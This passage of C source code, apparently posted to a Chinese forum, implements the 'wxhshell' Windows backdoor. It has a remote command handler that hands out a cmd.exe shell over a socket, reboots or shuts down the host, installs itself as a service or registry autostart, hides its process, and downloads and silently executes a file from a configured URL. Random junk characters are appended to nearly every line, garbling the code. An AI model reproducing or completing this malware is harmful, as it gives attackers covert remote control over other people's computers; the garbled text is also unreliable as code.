  } + Q-b}  
  else { fg^25g'_  
ZRagM'K  
    switch(cmd[0]) { vA/SrX.  
  pLB2! +  
  // 帮助 UCLM*`M  
  case '?': { 1INX#qTZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z'q~%1t  
    break; S}@7Z`  
  } y&NqVR=   
  // 安装 M~taZt4  
  case 'i': { /t0L%jJZ  
    if(Install()) AByl1)r|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @t9HRL?T~  
    else PftK>,+,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G?W:O{n3  
    break; Rd#R}yA  
    } Y!<m8\  
  // 卸载 W{}$c`,R  
  case 'r': { P1eSx#3bR  
    if(Uninstall()) 9F/I",EA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u\*9\ G  
    else QtW9!p7(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +:FXtO>n"  
    break; lMFR_g?r  
    } \=ML*Gi*  
  // 显示 wxhshell 所在路径 ipv5JD[  
  case 'p': { =w$&n%~  
    char svExeFile[MAX_PATH]; ,{_i{WV  
    strcpy(svExeFile,"\n\r"); pDR~SxBXr  
      strcat(svExeFile,ExeFile); O?e9wI=H  
        send(wsh,svExeFile,strlen(svExeFile),0); UR sx>yx  
    break; *dBeb  
    } Fz7t84g(  
  // 重启 L`+[mX&2B  
  case 'b': { s6 yvq#:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T2e-RR  
    if(Boot(REBOOT)) QQl.5'PP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @nktD.  
    else { -zg*p&F  
    closesocket(wsh); /Y0~BQC7!  
    ExitThread(0); >. |({;n9  
    } ?:;;0kSk  
    break; b RR N  
    } UQl?_ [G  
  // 关机 @Q74  
  case 'd': { *S;}&VAZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7>yd  
    if(Boot(SHUTDOWN)) W'./p"2g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yYCS-rF>  
    else { 'UhoKb_p  
    closesocket(wsh); 8M5)fDu*?  
    ExitThread(0); $C[z]}iOi  
    } X7*F~LFr j  
    break; 46C%at M0}  
    } *qpu!z2m||  
  // 获取shell u[GZ~L  
  case 's': { WcN4ff-  
    CmdShell(wsh); :aNjh  
    closesocket(wsh); -"[4E0g0  
    ExitThread(0); (p{X.X+  
    break; 6Og@tho  
  } (?qCtLZ  
  // 退出 Sy8t2lk  
  case 'x': { =3bk=vy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;8]HCC@:  
    CloseIt(wsh); s%jBIeh  
    break; EG{+Sz  
    } n`5Nf  
  // 离开 Wmbc `XC  
  case 'q': { w  S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q<09]i  
    closesocket(wsh); j\uZo.Ot+  
    WSACleanup(); jX7K- L  
    exit(1); # &v4c  
    break; c9|4[_&B~  
        } )M8d\]  
  } ?0Q3F  
  } v `S5[{6  
k \OZ'dS  
  // 提示信息 xg p)G!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4&*lpl*N  
} y_WC"  
  } Oc)n,D)0  
:,8y8z$+  
  return; ]j&m\'-s  
} ;j0.#P:a  
 Q6 *n'6  
// shell模块句柄 {\$S585  
int CmdShell(SOCKET sock) >k @t.PeoV  
{ ?'V78N sA  
STARTUPINFO si; RRO@r}A!y  
ZeroMemory(&si,sizeof(si)); 01n!T2;yW}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c^|8qvS $  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z!v,;MW  
PROCESS_INFORMATION ProcessInfo; @[^ 3y C#  
char cmdline[]="cmd"; eu(Fhs   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]5'*^rz ^  
  return 0; _c]}m3/  
} ]TrJ*~  
30h[&Oc  
// 自身启动模式 +k=*AQt^8  
int StartFromService(void) ]@U?hD  
{ lO@-*m$  
typedef struct qZ<n\Mt  
{ (u?s@/e:`/  
  DWORD ExitStatus; 5H._Q  
  DWORD PebBaseAddress; 6C$+D  
  DWORD AffinityMask; @5Z|e  
  DWORD BasePriority; {V[xBL <  
  ULONG UniqueProcessId; |]kiH^Ap  
  ULONG InheritedFromUniqueProcessId; cC8$oCR?  
}   PROCESS_BASIC_INFORMATION; ih kZs3}  
Gb^63.}  
PROCNTQSIP NtQueryInformationProcess; i3 js'?7E  
ZRhk2DA#FF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )=)N9CRy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &^ERaPynd  
jnV#Q ;  
  HANDLE             hProcess; Gr({30"8  
  PROCESS_BASIC_INFORMATION pbi; q~qz^E\T  
kV8R.Baf3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3n2^;b/]  
  if(NULL == hInst ) return 0; Q}&'1J  
RrLiH>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b8a (.}8*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6Emn@Mn=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uNf'Zeo  
Nr@,In|JS  
  if (!NtQueryInformationProcess) return 0; CX#d  
!d##q)D f?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6UIS4 _   
  if(!hProcess) return 0; ^ iu)vED  
8z93ETv7`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -dMH>e0  
CQ!D{o=  
  CloseHandle(hProcess); nu^@}|UG  
5]{rim  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _3 !s{  
if(hProcess==NULL) return 0; ]FR#ZvM>x  
6?"Gj}|r  
HMODULE hMod; 7:~3B-Tb  
char procName[255]; v0'z''KM!  
unsigned long cbNeeded; :{w3l O  
0o/;cBH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z7fX!'3V  
p&}m')  
  CloseHandle(hProcess); Va[&~lA)  
d Np%=gIj  
if(strstr(procName,"services")) return 1; // 以服务启动 hbXmIst  
>u%Bn \G  
  return 0; // 注册表启动 @kd$.7Y9  
} s\.r3U&6  
drCL7.j#L  
// 主模块 qA}l[:F+#  
int StartWxhshell(LPSTR lpCmdLine) , wk}[MF  
{ n(A;:) W{  
  SOCKET wsl; +46& Zb35  
BOOL val=TRUE; i% 0 qN  
  int port=0; Ps! \k%FUl  
  struct sockaddr_in door; P w6l'  
^cd bM  
  if(wscfg.ws_autoins) Install(); YloE4PAY7  
E=.J*7  
port=atoi(lpCmdLine); +)9=bB  
CS%ut-K<5M  
if(port<=0) port=wscfg.ws_port; ZrYRLg  
/p-k'387  
  WSADATA data; F, =WfM\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xqT} 9,  
b#709VHm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w_@6!zm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :4:U\k;QwA  
  door.sin_family = AF_INET; 6hcs )X7m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #E4oq9{0*W  
  door.sin_port = htons(port); ^g'uR@uU  
N]BH67<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wKW.sZ!S1  
closesocket(wsl); P EzT|uY  
return 1; UeUOGf ,  
} Na\&}GSf^  
jcePSps]  
  if(listen(wsl,2) == INVALID_SOCKET) { "97sH_ ,  
closesocket(wsl); f`}u9!jVR  
return 1; jp-(n z\  
} 9aID&b +  
  Wxhshell(wsl); z#5qI',L  
  WSACleanup(); !ggHLZRlz  
x!4<ff.  
return 0; 2Z(?pJyDM  
$SLyI$<gP  
} E]Cm#B  
 X56.Y.  
// 以NT服务方式启动 *{fZA;<R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }Ej^"T:H_;  
{ @ /e{-Q  
DWORD   status = 0; 8v)Z/R-  
  DWORD   specificError = 0xfffffff; 7vqE @;:dt  
yr zyus  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dmtsu2o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %)}_OXWf:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZA4sEVHW  
  serviceStatus.dwWin32ExitCode     = 0; f]+. i-c=  
  serviceStatus.dwServiceSpecificExitCode = 0; LNgFk%EH  
  serviceStatus.dwCheckPoint       = 0; +SFo2Wdr43  
  serviceStatus.dwWaitHint       = 0; *@ \LS!N  
Swv =gu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Or1ikI"  
  if (hServiceStatusHandle==0) return; <t*3w  
yWYsN  
status = GetLastError(); 5N>L|J2  
  if (status!=NO_ERROR) 5t-(MY  
{ c*8k _o,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?f6Fj  
    serviceStatus.dwCheckPoint       = 0; P+p:Ed 80  
    serviceStatus.dwWaitHint       = 0; ;S2/n$Ju_  
    serviceStatus.dwWin32ExitCode     = status; CfLPs)\ACm  
    serviceStatus.dwServiceSpecificExitCode = specificError; q_6 <}2m,U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0@!-+}i  
    return; Mc|UD*Z  
  } LZPLz@=&]  
c5Hm94, p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c"'JMq  
  serviceStatus.dwCheckPoint       = 0; $+ \JT/eG9  
  serviceStatus.dwWaitHint       = 0; ;;17 #T2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Y].i/".;P  
} h*NBSvn  
X{5(i3?S  
// 处理NT服务事件,比如:启动、停止 #w[Ie+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \T!tUd  
{ $8_b[~%2  
switch(fdwControl) m!<uY?,hf  
{ w##$SaTI  
case SERVICE_CONTROL_STOP: c+TCC%AJQI  
  serviceStatus.dwWin32ExitCode = 0; d _Y7/_i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5DeAH ;  
  serviceStatus.dwCheckPoint   = 0; mVyF M -`  
  serviceStatus.dwWaitHint     = 0; 5,V3_p:)VI  
  { ^^*dHWHn<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ID=^497  
  } W GMEZx  
  return; ADZU?7)  
case SERVICE_CONTROL_PAUSE: w#$Q?u ,G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; = :\o/)+  
  break; 9<!Ie^o?  
case SERVICE_CONTROL_CONTINUE: )e\IdKl=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XgZ.UT  
  break; 9&KiG* .  
case SERVICE_CONTROL_INTERROGATE: h1N{;SWQ  
  break; SxRa?5  
}; 8z"*CJ@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *+cW)klm  
} &14Er,K  
%,5_]bGvb  
// 标准应用程序主函数 xCiq;FFR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [lAZ)6E~=  
{ 4}HY= 0Um  
>uDE<MUC  
// 获取操作系统版本 Bt-2S,c,o  
OsIsNt=GetOsVer(); z)y{(gR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (f t$ R?  
[,ns/*f3R  
  // 从命令行安装 w>gB&59r  
  if(strpbrk(lpCmdLine,"iI")) Install(); G8p6p6*  
f>_' ]eM%  
  // 下载执行文件 Y]{~ogsn$:  
if(wscfg.ws_downexe) { |"EQyV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4] I7t  
  WinExec(wscfg.ws_filenam,SW_HIDE); ??`z W  
} vq JjAls  
;l=ZW  
if(!OsIsNt) { +(| ,Ke  
// 如果时win9x,隐藏进程并且设置为注册表启动 lK3Z}e*eXQ  
HideProc(); (E?X@d iu  
StartWxhshell(lpCmdLine); L,wEUI  
} jG&gd<^  
else niJtgK:H^  
  if(StartFromService()) iyf vcKO  
  // 以服务方式启动 3N5b3F  
  StartServiceCtrlDispatcher(DispatchTable); qUtlh,4)  
else 7^Q4?(A  
  // 普通方式启动 c'~6 1HA<  
  StartWxhshell(lpCmdLine); UB1/0o  
La'XJ|>V  
return 0; 2i_k$-  
}
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只看该作者 1 发表于: 2006-10-10
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